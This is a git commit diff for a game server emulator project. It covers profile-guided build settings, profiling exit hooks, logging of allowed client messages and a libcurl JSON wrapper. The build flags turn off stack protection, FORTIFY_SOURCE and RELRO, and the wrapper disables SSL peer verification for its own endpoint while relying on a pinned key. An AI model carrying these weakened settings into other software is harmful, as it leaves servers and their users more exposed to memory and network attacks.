iMerge branch 'testing' - STABLE/GOOD unless/until we find/fix more bugs or exploits, or add DTLS

This commit is contained in:
DarthArgus
2017-01-13 20:38:28 +00:00
41 changed files with 329 additions and 166 deletions

View File

@@ -4,11 +4,11 @@ cmake_minimum_required(VERSION 2.8)
project(stellabellum C CXX)
if(WIN32)
set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/win32")
elseif(UNIX)
set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/linux")
endif()
if (WIN32)
set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/win32")
elseif (UNIX)
set(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake/linux")
endif ()
set(SWG_ROOT_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR})
set(SWG_ENGINE_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/engine)
@@ -16,10 +16,10 @@ set(SWG_EXTERNALS_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/external)
set(SWG_EXTERNALS_FIND ${CMAKE_CURRENT_SOURCE_DIR}/external/3rd/library)
set(SWG_GAME_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/game)
include_directories(/usr/include/i386-linux-gnu)
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
include_directories(/usr/include/i386-linux-gnu)
find_package(BISON REQUIRED)
find_package(FLEX REQUIRED)
find_package(JNI REQUIRED)
@@ -45,67 +45,96 @@ set(CMAKE_CXX_FLAGS_MINSIZEREL "")
# I'll be honest, win32 is probably very very broken and won't build - it will need worked on so that MSVC uses
# the vs2013+ STL instead of stlport, and probably will thus need removal/modification/addition of TONS of the ifdef blocks for WIN32
if(WIN32)
find_package(Iconv REQUIRED)
# Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /NODEFAULTLIB:libc.lib /SAFESEH:NO")
if (WIN32)
find_package(Iconv REQUIRED)
# Do-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
#set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 \
# -DPRODUCTION=1 /Oi /Ot /Oy /O2 /GF /Gy /Zi /MT -D_USE_32BIT_TIME_T=1 -D_MBCS \
# -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \
# /Zc:wchar_t- /Ob1 /FC")
# Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 -DPRODUCTION=1 \
# Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /NODEFAULTLIB:libc.lib /SAFESEH:NO")
# Do-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
#set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 \
# -DPRODUCTION=1 /Oi /Ot /Oy /O2 /GF /Gy /Zi /MT -D_USE_32BIT_TIME_T=1 -D_MBCS \
# -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \
# /Zc:wchar_t- /Ob1 /FC")
# Dont-Build-PDB RELEASE build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -DWIN32 -Dwin32 -DUDP_LIBRARY -DDEBUG_LEVEL=0 -DPRODUCTION=1 \
/Oi /Ot /Oy /O2 /GF /Gy /MT -D_USE_32BIT_TIME_T=1 -D_MBCS -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS \
/MP /wd4244 /wd4996 /wd4018 /wd4351 /Zc:wchar_t- /Ob1 /FC")
# Standard DEBUG build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -DWIN32 -Dwin32 -D_DEBUG -DUDP_LIBRARY -DDEBUG_LEVEL=2 -DPRODUCTION=0 /MTd \
# Standard DEBUG build use the following (by either commenting---uncommenting the line as needed)
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -DWIN32 -Dwin32 -D_DEBUG -DUDP_LIBRARY -DDEBUG_LEVEL=2 -DPRODUCTION=0 /MTd \
-D_USE_32BIT_TIME_T=1 -D_MBCS -DPLATFORM_BASE_SINGLE_THREAD -D_CRT_SECURE_NO_WARNINGS /MP /wd4244 /wd4996 /wd4018 /wd4351 \
/Zc:wchar_t- /Ob1 /FC")
elseif(UNIX)
find_package(Curses REQUIRED)
elseif (UNIX)
find_package(Curses REQUIRED)
# linker flags
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s")
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
# linker flags
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL")
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic")
else ()
set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s")
endif ()
# don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS
set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3")
# release specific cflags - optimizations beyond the default for both types is mostly just -O flags
set(CMAKE_CXX_FLAGS_RELEASE "-DDEBUG_LEVEL=0 -DPRODUCTION=1")
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}")
# Ofast doesn't work with gcc builds
if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \
-fno-signed-zeros -freciprocal-math -ffp-contract=fast \
-fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \
-fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \
-fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \
-finline-hint-functions -fno-unroll-loops")
# don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS
set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU")
# O3 and Ofast include one or more flags that cause java to crash when using gcc6
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math -fno-unroll-loops -fno-tree-loop-optimize")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3")
endif()
# release specific cflags - optimizations beyond the default for both types is mostly just -O flags
set(CMAKE_CXX_FLAGS_RELEASE "-DDEBUG_LEVEL=0 -DPRODUCTION=1")
# our "always on" flags - build by default for the system we're on but include all instruction sets
set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \
# we use fewer, if any, crazy optimizations for profile generation, and likewise release flags for the minsizerel
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "${CMAKE_CXX_FLAGS_RELEASE}")
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE}")
# Ofast doesn't work with gcc builds
if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \
-fno-signed-zeros -freciprocal-math -ffp-contract=fast \
-fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \
-fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \
-fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \
-finline-hint-functions -fno-unroll-loops")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb")
# RELWITHDEBINFO is used for building bins that produce profdata files
# we only need the basics of our heavy optimizations here, i think - that and one of these flags
# breaks JNI when we profile
set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \
-finline-hint-functions -fprofile-instr-generate")
# MINSIZEREL is used for profiled, flto builds
set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto -fwhole-program-vtables")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU")
# O3 and Ofast include one or more flags that cause java to crash when using gcc6
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2 -fno-signed-zeros -freciprocal-math
-fno-unroll-loops -fno-tree-loop-optimize")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Og")
elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Intel")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3")
endif ()
# our "always on" flags - build by default for the system we're on but include all instruction sets
set(CMAKE_CXX_FLAGS "-m32 -pipe -march=native -mtune=native \
-msse -msse2 -msse3 -mmmx -m3dnow \
-Wformat -Wno-overloaded-virtual -Wno-missing-braces -Wno-format \
-Wno-write-strings -Wno-unknown-pragmas \
-Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare")
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE)
endif()
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE)
# release and debug are internal use only
if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release")
add_definitions(-DSTELLA_INTERNAL)
endif ()
# this is so some profile specific stuff is turned on in the code
if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO")
add_definitions(-DENABLE_PROFILING)
endif ()
endif ()
add_subdirectory(external)
add_subdirectory(engine)

View File

@@ -2,7 +2,23 @@
* master - stable, but internal only
* testing - bleeding edge, works in progress, internal only
# Old/Deprecated - For Reference Only
* clang-profile - intenal, modified to profile the code for clang-profile-build
* clang-profile-build - "release" and tc branch, as we want to use our fast profiled code
* google-profiler - modified for use with gperf
* icc - deprecated, modified for building with Intel's ICC compiler
* icc - deprecated, modified for building with Intel's ICC compiler
# Building Notes
Only use the Debug and Release targets for testing internally, but never push these to public facing servers. For public facing builds, use the MINSIZEREL target for flto profile built bins, and RELWITHDEBUGINFO target for bins that produce profdata (see below).
## Profiling and Using Profiles
To use, add export LLVM_PROFILE_FILE="output-%p.profraw" to your startServer.sh file. WHILE THE SERVER IS RUNNING do a ps -a to get the pid's of each SWG executable. After you cleanly exit (shutdown) the server, and ctrl+c the LoginServer, move each output-pid.profraw to a folder named for it's process.
Then, proceed to combine them into usable profiles for the compiler:
llvm-profdata merge -output=code.profdata output-*.profraw
See http://clang.llvm.org/docs/UsersManual.html#profiling-with-instrumentation

View File

@@ -89,6 +89,9 @@ get_filename_component(java_install_version
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit;CurrentVersion]" NAME)
set(JAVA_AWT_LIBRARY_DIRECTORIES
/opt/java/lib
/opt/java
/opt/java/jre
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/lib"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/lib"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/lib"
@@ -97,6 +100,11 @@ set(JAVA_AWT_LIBRARY_DIRECTORIES
file(TO_CMAKE_PATH "$ENV{JAVA_HOME}" _JAVA_HOME)
JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES
/opt/java
/opt/java/jre
/opt/java/jre/lib
/opt/java/jre/bin
/opt/java/jre/bin/classic
${_JAVA_HOME}/jre/lib/{libarch}
${_JAVA_HOME}/jre/lib
${_JAVA_HOME}/jre/bin
@@ -152,11 +160,12 @@ endforeach()
set(JAVA_AWT_INCLUDE_DIRECTORIES
/opt/java/jre/include
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/include"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include"
${_JAVA_HOME}/include
/opt/java17/include
/opt/java/include
/opt/java17/jre/include
/usr/include
/usr/local/include

View File

@@ -1,3 +1,6 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/CentralServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/CentralServer.profdata)
endif()
set(SHARED_SOURCES
shared/AuctionTransferClient.cpp

View File

@@ -59,5 +59,9 @@ int main(int argc, char ** argv)
NetworkHandler::remove();
SetupSharedFoundation::remove();
#ifdef ENABLE_PROFILING
exit(0);
#endif
return 0;
}

View File

@@ -1,3 +1,6 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/ChatServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/ChatServer.profdata)
endif()
set(SHARED_SOURCES
shared/CentralServerConnection.cpp

View File

@@ -39,5 +39,9 @@ int main(int argc, char ** argv)
ChatServer::run();
SetupSharedFoundation::remove();
#ifdef ENABLE_PROFILING
exit(0);
#endif
return 0;
}

View File

@@ -1,4 +1,8 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/CommoditiesServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/CommoditiesServer.profdata)
endif()
set(SHARED_SOURCES
shared/AuctionBid.cpp
shared/AuctionBid.h

View File

@@ -1,3 +1,6 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/ConnectionServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/ConnectionServer.profdata)
endif()
set(SHARED_SOURCES
shared/CentralConnection.cpp

View File

@@ -61,6 +61,10 @@ int main(int argc, char ** argv)
NetworkHandler::remove();
SetupSharedFoundation::remove();
SetupSharedThread::remove();
#ifdef ENABLE_PROFILING
exit(0);
#endif
return 0;
}

View File

@@ -1,3 +1,6 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/LogServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/LogServer.profdata)
endif()
set(SHARED_SOURCES
shared/ConfigLogServer.cpp

View File

@@ -54,6 +54,10 @@ int main(int argc, char **argv)
SetupSharedFoundation::remove();
SetupSharedThread::remove();
#ifdef ENABLE_PROFILING
exit(0);
#endif
return 0;
}

View File

@@ -154,6 +154,10 @@ void LogServer::setDone(char const *reasonfmt, ...)
va_end(ap);
m_done = true;
}
#ifdef ENABLE_PROFILING
std::exit(0);
#endif
}
// ======================================================================

View File

@@ -1,3 +1,7 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/LoginServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/LoginServer.profdata)
endif()
set(SHARED_SOURCES
shared/CentralServerConnection.cpp
shared/CentralServerConnection.h

View File

@@ -1,5 +1,9 @@
#include "sharedFoundation/FirstSharedFoundation.h"
#ifdef ENABLE_PROFILING
#include <signal.h>
#endif
#include "ConfigLoginServer.h"
#include "LoginServer.h"
@@ -15,35 +19,49 @@
// ======================================================================
int main(int argc, char ** argv)
{
SetupSharedThread::install();
SetupSharedDebug::install(1024);
//-- setup foundation
SetupSharedFoundation::Data setupFoundationData(SetupSharedFoundation::Data::D_game);
setupFoundationData.lpCmdLine = ConvertCommandLine(argc,argv);
setupFoundationData.configFile = "loginServer.cfg";
SetupSharedFoundation::install (setupFoundationData);
if (ConfigFile::isEmpty())
FATAL(true, ("No config file specified"));
SetupSharedCompression::install();
SetupSharedFile::install(false);
SetupSharedNetworkMessages::install();
SetupSharedRandom::install(static_cast<uint32>(time(nullptr))); //lint !e1924 !e64 // nullptr is a C-Style cast?
Os::setProgramName("LoginServer");
//setup the server
ConfigLoginServer::install();
//-- run game
SetupSharedFoundation::callbackWithExceptionHandling(LoginServer::run);
SetupSharedFoundation::remove();
return 0;
#ifdef ENABLE_PROFILING
inline void signalHandler(int s){
printf("LoginServer terminating, signal %d\n",s);
exit(0);
}
#endif
int main(int argc, char **argv) {
#ifdef ENABLE_PROFILING
struct sigaction sigIntHandler;
sigIntHandler.sa_handler = signalHandler;
sigemptyset(&sigIntHandler.sa_mask);
sigIntHandler.sa_flags = 0;
sigaction(SIGINT, &sigIntHandler, NULL);
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);
//-- setup foundation
SetupSharedFoundation::Data setupFoundationData(SetupSharedFoundation::Data::D_game);
setupFoundationData.lpCmdLine = ConvertCommandLine(argc, argv);
setupFoundationData.configFile = "loginServer.cfg";
SetupSharedFoundation::install(setupFoundationData);
if (ConfigFile::isEmpty()) {
FATAL(true, ("No config file specified"));
}
SetupSharedCompression::install();
SetupSharedFile::install(false);
SetupSharedNetworkMessages::install();
SetupSharedRandom::install(static_cast<uint32>(time(nullptr))); //lint !e1924 !e64 // nullptr is a C-Style cast?
Os::setProgramName("LoginServer");
//setup the server
ConfigLoginServer::install();
//-- run game
SetupSharedFoundation::callbackWithExceptionHandling(LoginServer::run);
SetupSharedFoundation::remove();
return 0;
}

View File

@@ -1,3 +1,6 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/PlanetServer.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/PlanetServer.profdata)
endif()
set(SHARED_SOURCES
shared/CentralServerConnection.cpp

View File

@@ -74,5 +74,9 @@ int main(int argc, char ** argv)
SetupSharedFoundation::remove();
SetupSharedThread::remove();
#ifdef ENABLE_PROFILING
exit(0);
#endif
return 0;
}

View File

@@ -1509,6 +1509,10 @@ void PlanetServer::setDone(char const *reasonfmt, ...)
va_end(ap);
m_done = true;
}
#ifdef ENABLE_PROFILING
std::exit(0);
#endif
}
// ----------------------------------------------------------------------

View File

@@ -1,4 +1,7 @@
if (${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL" AND EXISTS "${PROJECT_SOURCE_DIR}/src/linux/TaskManager.profdata")
add_compile_options(-fprofile-instr-use=${PROJECT_SOURCE_DIR}/src/linux/TaskManager.profdata)
endif()
set(SHARED_SOURCES
shared/CentralConnection.cpp
shared/CentralConnection.h

View File

@@ -41,5 +41,9 @@ int main(int argc, char ** argv)
TaskManager::remove();
SetupSharedFoundation::remove();
#ifdef ENABLE_PROFILING
exit(0);
#endif
return 0;
}

View File

@@ -79,6 +79,7 @@ bool AggroListPropertyNamespace::canAttackTarget(TangibleObject const & attacker
{
//LOGC(AiLogManager::isLogging(attacker), "debug_ai", ("AggroListPropertyNamespace::canAttackTarget() attacker(%s) target(%s) Target is feigning death", attacker.getDebugInformation().c_str(), target.getDebugInformation().c_str()));
result = false;
}
else if (isInPlayerBuilding(target))
{

View File

@@ -920,6 +920,8 @@ void Client::receiveClientMessage(const GameNetworkMessage &message) {
#else
if (allowFromClient) {
#endif
LOG("AllowedObjControllerMsgs", ("Allowing player %s at %s controller message %d for object %s", PlayerObject::getAccountDescription(getCharacterObjectId()).c_str(), getIpAddress().c_str(), o.getMessage(), o.getNetworkId().getValueString().c_str()));
ServerObject *target = findControlledObject(o.getNetworkId());
if (target != 0) {
// apply the controller message

View File

@@ -2,8 +2,6 @@ cmake_minimum_required(VERSION 2.8)
project(webAPI)
include_directories(${CMAKE_CURRENT_SOURCE_DIR})
add_library(webAPI
webAPI.h
webAPI.cpp

View File

@@ -1,5 +1,5 @@
/*
* Version: 1.6
* Version: 1.75
*
* This code is just a simple wrapper around nlohmann's wonderful json lib
* (https://github.com/nlohmann/json) and libcurl. While originally included directly,
@@ -22,23 +22,23 @@ using namespace StellaBellum;
webAPI::webAPI(std::string endpoint, std::string userAgent) : uri(endpoint), userAgent(userAgent), statusCode(0) {}
webAPI::~webAPI() {
this->requestData.clear();
this->responseData.clear();
requestData.clear();
responseData.clear();
}
bool webAPI::setEndpoint(const std::string endpoint) {
this->uri = endpoint;
uri = endpoint;
return true;
}
std::string webAPI::getRaw() {
return this->sResponse;
return sResponse;
}
bool webAPI::setData(std::string &data) {
if (!data.empty()) {
this->sRequest = data;
sRequest = data;
return true;
}
@@ -47,9 +47,8 @@ bool webAPI::setData(std::string &data) {
}
std::string webAPI::getString(const std::string &slot) {
if (!this->responseData.empty() && !slot.empty() && responseData.count(slot) &&
!this->responseData[slot].is_null()) {
return this->responseData[slot].get<std::string>();
if (!responseData.empty() && !slot.empty() && responseData.count(slot) && !responseData[slot].is_null()) {
return responseData[slot].get<std::string>();
}
return std::string("");
@@ -58,17 +57,16 @@ std::string webAPI::getString(const std::string &slot) {
std::unordered_map<int, std::string> webAPI::getStringMap(const std::string &slot) {
std::unordered_map<int, std::string> ret = std::unordered_map<int, std::string>();
if (!this->responseData.empty() && !slot.empty() && responseData.count(slot) &&
!this->responseData[slot].is_null()) {
if (!responseData.empty() && !slot.empty() && responseData.count(slot) && !responseData[slot].is_null()) {
nlohmann::json j = this->responseData[slot];
nlohmann::json j = responseData[slot];
for (nlohmann::json::iterator it = j.begin(); it != j.end(); ++it) {
int k = std::stoi(it.key());
std::string val = it.value();
for (nlohmann::json::iterator it = j.begin(); it != j.end(); ++it) {
int k = std::stoi(it.key());
std::string val = it.value();
ret.insert({k, val});
}
ret.insert({k, val});
}
}
return ret;
@@ -77,20 +75,20 @@ std::unordered_map<int, std::string> webAPI::getStringMap(const std::string &slo
bool webAPI::submit(const int &reqType, const int &getPost, const int &respType) {
if (reqType == DTYPE::JSON) // json request
{
if (!this->requestData.empty()) {
if (!requestData.empty()) {
// serialize our data into sRequest
this->sRequest = this->requestData.dump();
sRequest = requestData.dump();
// clear our the object for next time
this->requestData.clear();
requestData.clear();
}
}
if (fetch(getPost, respType) && !(this->sResponse.empty())) {
if (fetch(getPost, respType) && !(sResponse.empty())) {
return true;
}
this->sResponse.clear();
sResponse.clear();
return false;
}
@@ -117,41 +115,54 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for
slist = curl_slist_append(slist, "charsets: utf-8");
curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
CURLcode res = curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str());
res = curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback
res = curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data
res = curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist);
switch (getPost) {
case HTTP::GET:
curl_easy_setopt(curl, CURLOPT_URL, std::string(this->uri + "?" + sRequest).c_str());
res = curl_easy_setopt(curl, CURLOPT_URL, std::string(uri + "?" + sRequest).c_str());
break;
case HTTP::POST:
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, this->sRequest.c_str());
curl_easy_setopt(curl, CURLOPT_URL, this->uri.c_str());
res = curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sRequest.c_str());
res = curl_easy_setopt(curl, CURLOPT_URL, uri.c_str());
break;
// want to do a put, or whatever other type? feel free to add here
}
CURLcode res = curl_easy_perform(curl); // make the request!
char *contentType;
if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) {
// the public one will verify but since this is pinned we don't care about the CA
// to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html
// under the PUBLIC KEY EXTRACTION heading
res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &this->statusCode); //get status code
curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type
// cloudflare public: ***REMOVED***
// cloudflare private: ***REMOVED***
res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("***REMOVED***").decrypt());
}
std::string conType(contentType);
if (res == CURLE_OK) {
res = curl_easy_perform(curl); // make the request!
}
if (res == CURLE_OK && this->statusCode == 200 && !(readBuffer.empty())) // check it all out and parse
{
this->sResponse = readBuffer;
if (res == CURLE_OK) {
char *contentType;
if (conType == "application/json") {
fetchStatus = this->processJSON();
} else {
this->responseData.clear();
fetchStatus = true;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &statusCode); //get status code
curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type
std::string conType(contentType);
if (statusCode == 200 && !(readBuffer.empty())) // check it all out and parse
{
sResponse = readBuffer;
if (conType == "application/json") {
fetchStatus = processJSON();
} else {
responseData.clear();
fetchStatus = true;
}
}
}
@@ -161,8 +172,8 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for
}
if (!fetchStatus) {
this->sResponse.clear();
this->responseData.clear();
sResponse.clear();
responseData.clear();
}
return fetchStatus;
@@ -175,21 +186,21 @@ size_t webAPI::writeCallback(void *contents, size_t size, size_t nmemb, void *us
}
bool webAPI::processJSON() {
if (!(this->sResponse.empty())) // check it all out and parse
if (!(sResponse.empty())) // check it all out and parse
{
try {
this->responseData = nlohmann::json::parse(this->sResponse);
responseData = nlohmann::json::parse(sResponse);
return true;
} catch (std::string &e) {
this->responseData["message"] = e;
this->responseData["status"] = "failure";
responseData["message"] = e;
responseData["status"] = "failure";
} catch (...) {
this->responseData["message"] = "JSON parse error for endpoint.";
this->responseData["status"] = "failure";
responseData["message"] = "JSON parse error for endpoint.";
responseData["status"] = "failure";
}
} else {
this->responseData["message"] = "Error fetching data from remote.";
this->responseData["status"] = "failure";
responseData["message"] = "Error fetching data from remote.";
responseData["status"] = "failure";
}
return false;

View File

@@ -1,5 +1,5 @@
/*
* Version: 1.6
* Version: 1.75
*
* This code is just a simple wrapper around nlohmann's wonderful json lib
* (https://github.com/nlohmann/json) and libcurl. While originally included directly,
@@ -29,6 +29,8 @@
#endif
#include "../libLeff/libLeff.h"
namespace StellaBellum {
enum HTTP {
GET = 0, POST = 1
@@ -67,12 +69,11 @@ namespace StellaBellum {
std::unordered_map<int, std::string> getStringMap(const std::string &slot);
// set json key and value for request
template<typename T>
bool addJsonData(const std::string &key, const T &value) {
template<typename T> bool addJsonData(const std::string &key, const T &value) {
if (!key.empty() &&
responseData.count(key) == 0) // only alow one of a given key for now, unless we support nesting later
{
this->requestData[key] = value;
requestData[key] = value;
return true;
}
@@ -80,10 +81,9 @@ namespace StellaBellum {
}
// get json response slot
template<typename T>
T getNullableValue(const std::string &slot) {
if (!this->responseData.empty() && !slot.empty() && responseData.count(slot)) {
return this->responseData[slot].get<T>();
template<typename T> T getNullableValue(const std::string &slot) {
if (!responseData.empty() && !slot.empty() && responseData.count(slot)) {
return responseData[slot].get<T>();
}
return 0;

View File

@@ -7,10 +7,9 @@
using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
std::string filePath = this->get_selfpath();
